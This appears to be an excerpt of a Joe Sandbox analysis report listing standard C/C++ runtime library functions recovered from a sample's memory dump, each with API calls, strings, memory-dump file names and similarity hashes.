Instruction ID: dd438498bd606927daedfcc2be9dcf0d0d43b4d66ffc3f64f748fe65879b0d61
Opcode Fuzzy Hash: 642c75c03e6f90b0dc4662d7d047a2a4bff8435d94539461937e880ed4be1f6f
Instruction Fuzzy Hash: B9B10470A04349AFDB17EFA8C885BBD7BB5BF4A304F1941DAE804AB292C7759D41CB50

Function 0037F2AC Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,0037F2A3,00374E61,003741CC), ref: 0037F2BA
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0037F2C8
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0037F2E1
SetLastError.KERNEL32(00000000,0037F2A3,00374E61,003741CC), ref: 0037F333

Memory Dump Source

Source File: 00000007.00000002.3074101230.0000000000361000.00000020.00000001.01000000.00000009.sdmp, Offset: 00360000, based on PE: true

Associated: 00000007.00000002.3072697042.0000000000360000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3076289496.0000000000391000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3077226676.000000000039C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3078128510.000000000039D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3079414111.00000000003A1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3081912044.00000000003A4000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3088977531.00000000003ED000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_360000_EUCyhuW.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: eaa9707d4a71d0ed9ed988362f58d540714c507f197076d5e368eb2c2f29a95b
Instruction ID: 9bc6318d8ba37566d8d11d2df5bef5a1e4b4421fc290f87205fb73a7cf355668
Opcode Fuzzy Hash: eaa9707d4a71d0ed9ed988362f58d540714c507f197076d5e368eb2c2f29a95b
Instruction Fuzzy Hash: 1001B13B21D7115EF63736B8BC8696B2A99FF06375B21423FF518491F2EF568C019240

Function 0037A53C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,BB0EE090,?,?,00000000,00390244,000000FF,?,0037A5FD,0037A4E4,?,0037A699,00000000), ref: 0037A571
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 0037A583
FreeLibrary.KERNEL32(00000000,?,?,00000000,00390244,000000FF,?,0037A5FD,0037A4E4,?,0037A699,00000000), ref: 0037A5A5

Strings

CorExitProcess, xrefs: 0037A57B
mscoree.dll, xrefs: 0037A56A

Memory Dump Source

Source File: 00000007.00000002.3074101230.0000000000361000.00000020.00000001.01000000.00000009.sdmp, Offset: 00360000, based on PE: true

Associated: 00000007.00000002.3072697042.0000000000360000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3076289496.0000000000391000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3077226676.000000000039C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3078128510.000000000039D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3079414111.00000000003A1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3081912044.00000000003A4000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3088977531.00000000003ED000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_360000_EUCyhuW.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 89dbd7abe0307d1e4fca2342e982320f261f39dac2be0770bdb655c0f2a8b714
Instruction ID: 0dc77654bc30809e32894dabded088e824bbebdf189a1ee0fb98a74973b310ee
Opcode Fuzzy Hash: 89dbd7abe0307d1e4fca2342e982320f261f39dac2be0770bdb655c0f2a8b714
Instruction Fuzzy Hash: 4101A271A04A15AFCB139F50CC09FAEBBBCFB45B25F014626E815A22E0DB799900CE91

Function 00381BCD Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00381C52
__alloca_probe_16.LIBCMT ref: 00381D1B
__freea.LIBCMT ref: 00381D82

Part of subcall function 003804C1: RtlAllocateHeap.NTDLL(00000000,?,?,?,0037119F,?,?,003631F2,00001000,?,0036313A), ref: 003804F3

__freea.LIBCMT ref: 00381D95
__freea.LIBCMT ref: 00381DA2

Memory Dump Source

Source File: 00000007.00000002.3074101230.0000000000361000.00000020.00000001.01000000.00000009.sdmp, Offset: 00360000, based on PE: true

Associated: 00000007.00000002.3072697042.0000000000360000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3076289496.0000000000391000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3077226676.000000000039C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3078128510.000000000039D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3079414111.00000000003A1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3081912044.00000000003A4000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3088977531.00000000003ED000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_360000_EUCyhuW.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: 5af4f82cd7027ad6436f7bfe07cf8e4a88bf1b2aa258f42ea25e58df6d1be3d9
Instruction ID: c5a6948c8ca248aaffc5be195ca1dcd080685f6f6c372dcd77c854e858bd87fa
Opcode Fuzzy Hash: 5af4f82cd7027ad6436f7bfe07cf8e4a88bf1b2aa258f42ea25e58df6d1be3d9
Instruction Fuzzy Hash: 4951C572600306AFEB26BF64CC81EBB7BADEF44710B1645A9FD08DA151EB34DC168760

Function 0037184C Relevance: 7.5, APIs: 5, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00371853
std::_Lockit::_Lockit.LIBCPMT ref: 0037185E
std::_Lockit::~_Lockit.LIBCPMT ref: 003718CC

Part of subcall function 00371755: std::locale::_Locimp::_Locimp.LIBCPMT ref: 0037176D

std::locale::_Setgloballocale.LIBCPMT ref: 00371879
_Yarn.LIBCPMT ref: 0037188F

Memory Dump Source

Source File: 00000007.00000002.3074101230.0000000000361000.00000020.00000001.01000000.00000009.sdmp, Offset: 00360000, based on PE: true

Associated: 00000007.00000002.3072697042.0000000000360000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3076289496.0000000000391000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3077226676.000000000039C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3078128510.000000000039D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3079414111.00000000003A1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3081912044.00000000003A4000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3088977531.00000000003ED000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_360000_EUCyhuW.jbxd

Similarity

API ID: Lockitstd::_std::locale::_$H_prolog3LocimpLocimp::_Lockit::_Lockit::~_SetgloballocaleYarn
String ID:
API String ID: 1088826258-0
Opcode ID: cce93fb7f32fce5902a6430efe9f6024fc7e2909082391d491336037c74ece11
Instruction ID: 5473bc6cdecc1bc821b581f0724841bafe846a7a209bf8b49d5698fb4ac2cb25
Opcode Fuzzy Hash: cce93fb7f32fce5902a6430efe9f6024fc7e2909082391d491336037c74ece11
Instruction Fuzzy Hash: A701DF76A002109BCB2BEF28D84157C37B5BF85750B158549E8595B391EF3AAE42CB82

Function 0038AC01 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,0038AC9D,00000000,?,0039EFA0,?,?,?,0038ABD4,00000004,InitializeCriticalSectionEx,00394F0C,00394F14), ref: 0038AC0E
GetLastError.KERNEL32(?,0038AC9D,00000000,?,0039EFA0,?,?,?,0038ABD4,00000004,InitializeCriticalSectionEx,00394F0C,00394F14,00000000,?,0038016C), ref: 0038AC18
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 0038AC40

Strings

api-ms-, xrefs: 0038AC25

Memory Dump Source

Source File: 00000007.00000002.3074101230.0000000000361000.00000020.00000001.01000000.00000009.sdmp, Offset: 00360000, based on PE: true

Associated: 00000007.00000002.3072697042.0000000000360000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3076289496.0000000000391000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3077226676.000000000039C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3078128510.000000000039D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3079414111.00000000003A1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3081912044.00000000003A4000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3088977531.00000000003ED000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_360000_EUCyhuW.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 46f6c91373b9cf828b080491eba23b7b28a5b8e8cc45926956665d9de2f7478c
Instruction ID: bd90b3ee0349e14b046b91c8826f08ad67fe65a34d0e9a89f22a5ab24ed620aa
Opcode Fuzzy Hash: 46f6c91373b9cf828b080491eba23b7b28a5b8e8cc45926956665d9de2f7478c
Instruction Fuzzy Hash: DAE04F30380705BBFF222F61EC06F593E69AB10B42F164062F90DE80E1E766DD10878A

Function 00388366 Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(BB0EE090,00000000,00000000,?), ref: 003883C9

Part of subcall function 003805D1: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,00381D78,?,00000000,-00000008), ref: 00380632

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0038861B
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00388661
GetLastError.KERNEL32 ref: 00388704

Memory Dump Source

Source File: 00000007.00000002.3074101230.0000000000361000.00000020.00000001.01000000.00000009.sdmp, Offset: 00360000, based on PE: true

Associated: 00000007.00000002.3072697042.0000000000360000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3076289496.0000000000391000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3077226676.000000000039C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3078128510.000000000039D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3079414111.00000000003A1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3081912044.00000000003A4000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3088977531.00000000003ED000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_360000_EUCyhuW.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: f2e74b0b19af17e1b20de779aab753af232376edaad83d58a26ebbd9cadd02f4
Instruction ID: c06599ade18d54acecd30c2bb7aade74658876793128e5fff8d4019fb3be3ded
Opcode Fuzzy Hash: f2e74b0b19af17e1b20de779aab753af232376edaad83d58a26ebbd9cadd02f4
Instruction Fuzzy Hash: A1D18975D002489FCF16DFA8C8809EDBBB9FF49314F6845AAE516EB351DB30A941CB50

Function 0037F84B Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 0037F912
___AdjustPointer.LIBCMT ref: 0037F935
___AdjustPointer.LIBCMT ref: 0037F9D1

Memory Dump Source

Source File: 00000007.00000002.3074101230.0000000000361000.00000020.00000001.01000000.00000009.sdmp, Offset: 00360000, based on PE: true

Associated: 00000007.00000002.3072697042.0000000000360000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3076289496.0000000000391000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3077226676.000000000039C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3078128510.000000000039D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3079414111.00000000003A1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3081912044.00000000003A4000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3088977531.00000000003ED000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_360000_EUCyhuW.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 46c07ac6fb765db3a439c967ce0de1aa4fd9a6220d21aa8794e87967ae7f0b9b
Instruction ID: 2bf793d2302544d09542ebf921b868eae563e726fcb9c4d9384af75fdc0e5a6b
Opcode Fuzzy Hash: 46c07ac6fb765db3a439c967ce0de1aa4fd9a6220d21aa8794e87967ae7f0b9b
Instruction Fuzzy Hash: 8051EE72A04202BFDB3B8F14D841BBAB3A4FF05710F15853DEA198B691D739AD80DB91

Function 00386192 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 003805D1: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,00381D78,?,00000000,-00000008), ref: 00380632

GetLastError.KERNEL32(00000000,?,?,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,00000000,00000000), ref: 003861F6
__dosmaperr.LIBCMT ref: 003861FD
GetLastError.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,00000000,00000000), ref: 00386237
__dosmaperr.LIBCMT ref: 0038623E

Memory Dump Source

Source File: 00000007.00000002.3074101230.0000000000361000.00000020.00000001.01000000.00000009.sdmp, Offset: 00360000, based on PE: true

Associated: 00000007.00000002.3072697042.0000000000360000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3076289496.0000000000391000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3077226676.000000000039C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3078128510.000000000039D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3079414111.00000000003A1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3081912044.00000000003A4000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3088977531.00000000003ED000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_360000_EUCyhuW.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: e8b64da1515bff249c539d1751534fd14ae6a51eb1cf0f4c5597af68b0052130
Instruction ID: 083ee13c3afd1a02b06a165bca678a656ae279b0a294a08c0113e35b9c37e361
Opcode Fuzzy Hash: e8b64da1515bff249c539d1751534fd14ae6a51eb1cf0f4c5597af68b0052130
Instruction Fuzzy Hash: 0421D471600705AFDB32BFA1CC8692AB7ADFF40364711899DF9299B602D735EC00CBA0

Function 003772A2 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3074101230.0000000000361000.00000020.00000001.01000000.00000009.sdmp, Offset: 00360000, based on PE: true

Associated: 00000007.00000002.3072697042.0000000000360000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3076289496.0000000000391000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3077226676.000000000039C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3078128510.000000000039D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3079414111.00000000003A1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3081912044.00000000003A4000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3088977531.00000000003ED000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_360000_EUCyhuW.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2b37928a99174f42ab3ca7fce8737fd9fc7d8576619a71c3ab2e280079f66f1f
Instruction ID: aaa69ceaa2b934d91e31f84ad8113c22179bb751f605857e913288b25fe4a03b
Opcode Fuzzy Hash: 2b37928a99174f42ab3ca7fce8737fd9fc7d8576619a71c3ab2e280079f66f1f
Instruction Fuzzy Hash: D0219575208605AFAB33AF718881D6A77ACBF40364715C929FC1DDB651D738EC009BE0

Function 00387588 Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 00387590

Part of subcall function 003805D1: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,00381D78,?,00000000,-00000008), ref: 00380632

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 003875C8
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 003875E8

Memory Dump Source

Source File: 00000007.00000002.3074101230.0000000000361000.00000020.00000001.01000000.00000009.sdmp, Offset: 00360000, based on PE: true

Associated: 00000007.00000002.3072697042.0000000000360000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3076289496.0000000000391000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3077226676.000000000039C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3078128510.000000000039D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3079414111.00000000003A1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3081912044.00000000003A4000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3088977531.00000000003ED000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_360000_EUCyhuW.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: f6d9e3dff9609fe104f76f5b846ea519cd22763c456bb7a6bb9e91e71c830ee7
Instruction ID: 8867eed2baed7b0d8c6f4e5cc2350766964f992a4aef41a35ceb8ccc3467349d
Opcode Fuzzy Hash: f6d9e3dff9609fe104f76f5b846ea519cd22763c456bb7a6bb9e91e71c830ee7
Instruction Fuzzy Hash: CE1144E1609B15BEA71733B65CC9C6F296DCF8A398B2104A5F901D6001FA68CD0147B5

Function 0037328F Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00373296
std::_Lockit::_Lockit.LIBCPMT ref: 003732A0

Part of subcall function 00364360: std::_Lockit::_Lockit.LIBCPMT ref: 0036438E
Part of subcall function 00364360: std::_Lockit::~_Lockit.LIBCPMT ref: 003643B9

codecvt.LIBCPMT ref: 003732DA
std::_Lockit::~_Lockit.LIBCPMT ref: 00373311

Memory Dump Source

Source File: 00000007.00000002.3074101230.0000000000361000.00000020.00000001.01000000.00000009.sdmp, Offset: 00360000, based on PE: true

Associated: 00000007.00000002.3072697042.0000000000360000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3076289496.0000000000391000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3077226676.000000000039C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3078128510.000000000039D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3079414111.00000000003A1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3081912044.00000000003A4000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3088977531.00000000003ED000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_360000_EUCyhuW.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$H_prolog3codecvt
String ID:
API String ID: 3716348337-0
Opcode ID: 0bd462d56de08ee16046c0ed04b7f4c83747894f5d62b93b3c86cb833cf534d0
Instruction ID: 4de0f959edd37300f8c7ae4c6daa099dee5487ec9d1cd1057998dd8290bd5656
Opcode Fuzzy Hash: 0bd462d56de08ee16046c0ed04b7f4c83747894f5d62b93b3c86cb833cf534d0
Instruction Fuzzy Hash: 0901D63AD002199BDB27EBA4D8056AD7775AF85720F248509F4196F291DF39DE00C781

Function 0038F0B0 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,?,?,00000000,00000000,?,0038E59F,00000000,00000001,?,?,?,00388758,?,00000000,00000000), ref: 0038F0C7
GetLastError.KERNEL32(?,0038E59F,00000000,00000001,?,?,?,00388758,?,00000000,00000000,?,?,?,0038809E,?), ref: 0038F0D3

Part of subcall function 0038F124: CloseHandle.KERNEL32(FFFFFFFE,0038F0E3,?,0038E59F,00000000,00000001,?,?,?,00388758,?,00000000,00000000,?,?), ref: 0038F134

___initconout.LIBCMT ref: 0038F0E3

Part of subcall function 0038F105: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,0038F0A1,0038E58C,?,?,00388758,?,00000000,00000000,?), ref: 0038F118

WriteConsoleW.KERNEL32(00000000,?,?,00000000,?,0038E59F,00000000,00000001,?,?,?,00388758,?,00000000,00000000,?), ref: 0038F0F8

Memory Dump Source

Source File: 00000007.00000002.3074101230.0000000000361000.00000020.00000001.01000000.00000009.sdmp, Offset: 00360000, based on PE: true

Associated: 00000007.00000002.3072697042.0000000000360000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3076289496.0000000000391000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3077226676.000000000039C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3078128510.000000000039D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3079414111.00000000003A1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3081912044.00000000003A4000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3088977531.00000000003ED000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_360000_EUCyhuW.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: befa0b7543d67fab1192a156e15e6fe0d42eb93c7383bddc773cfe4bc159594d
Instruction ID: 2116ad6e63b943402660ec4f892fdfdd6a80f53fbc95bd648c08e6ae76bc7316
Opcode Fuzzy Hash: befa0b7543d67fab1192a156e15e6fe0d42eb93c7383bddc773cfe4bc159594d
Instruction Fuzzy Hash: FAF0C936500629FFCF236FDADC0999A3F6AFF497A1F064561FA1899130D63388209BD1

Function 00374C10 Relevance: 6.0, APIs: 4, Instructions: 25timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 00374C22
GetCurrentThreadId.KERNEL32 ref: 00374C31
GetCurrentProcessId.KERNEL32 ref: 00374C3A
QueryPerformanceCounter.KERNEL32(?), ref: 00374C47

Memory Dump Source

Source File: 00000007.00000002.3074101230.0000000000361000.00000020.00000001.01000000.00000009.sdmp, Offset: 00360000, based on PE: true

Associated: 00000007.00000002.3072697042.0000000000360000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3076289496.0000000000391000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3077226676.000000000039C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3078128510.000000000039D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3079414111.00000000003A1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3081912044.00000000003A4000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3088977531.00000000003ED000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_360000_EUCyhuW.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 22e96334f44892e6303934bbe49abd79a2480d456e3f31e55ed3837d4fb6c373
Instruction ID: 88c9176dfe85a8f2d96e7ee3d697fa98be92a2821e608f6687941392ed1fc8e2
Opcode Fuzzy Hash: 22e96334f44892e6303934bbe49abd79a2480d456e3f31e55ed3837d4fb6c373
Instruction Fuzzy Hash: F7F0B230D0020CEBCB01DBB4C94998EBBF8FF1D300F924A96A412E7110E734AB449F91

Function 00384D72 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 191COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00380713: GetLastError.KERNEL32(00000000,?,00382A49), ref: 00380717
Part of subcall function 00380713: SetLastError.KERNEL32(00000000,?,?,00000028,0037D2C9), ref: 003807B9

GetACP.KERNEL32(-00000002,00000000,?,00000000,00000000,?,0037AB4D,?,?,?,00000055,?,-00000050,?,?,?), ref: 00384E31
IsValidCodePage.KERNEL32(00000000,-00000002,00000000,?,00000000,00000000,?,0037AB4D,?,?,?,00000055,?,-00000050,?,?), ref: 00384E68

Strings

utf8, xrefs: 00384F3A

Memory Dump Source

Source File: 00000007.00000002.3074101230.0000000000361000.00000020.00000001.01000000.00000009.sdmp, Offset: 00360000, based on PE: true

Associated: 00000007.00000002.3072697042.0000000000360000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3076289496.0000000000391000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3077226676.000000000039C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3078128510.000000000039D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3079414111.00000000003A1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3081912044.00000000003A4000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3088977531.00000000003ED000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_360000_EUCyhuW.jbxd

Similarity

API ID: ErrorLast$CodePageValid
String ID: utf8
API String ID: 943130320-905460609
Opcode ID: 4120005bdd1938027c74f34bfed4b8f32aba6428a8579e11b6fc6bc583c7ccd9
Instruction ID: 693d8000c960c7779180c2b560b022b38543b3d42fb40b67df875b71e42f76e2
Opcode Fuzzy Hash: 4120005bdd1938027c74f34bfed4b8f32aba6428a8579e11b6fc6bc583c7ccd9
Instruction Fuzzy Hash: 5651C631A04703AAEB27BB75CC86BA673A8FF45700F1544AEF645DB981F770E94087A1

Function 0037FF48 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,0037FE49,?,?,00000000,00000000,00000000,?), ref: 0037FF6D

Strings

RCC, xrefs: 0037FF87
MOC, xrefs: 0037FF7F

Memory Dump Source

Source File: 00000007.00000002.3074101230.0000000000361000.00000020.00000001.01000000.00000009.sdmp, Offset: 00360000, based on PE: true

Associated: 00000007.00000002.3072697042.0000000000360000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3076289496.0000000000391000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3077226676.000000000039C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3078128510.000000000039D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3079414111.00000000003A1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3081912044.00000000003A4000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3088977531.00000000003ED000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_360000_EUCyhuW.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
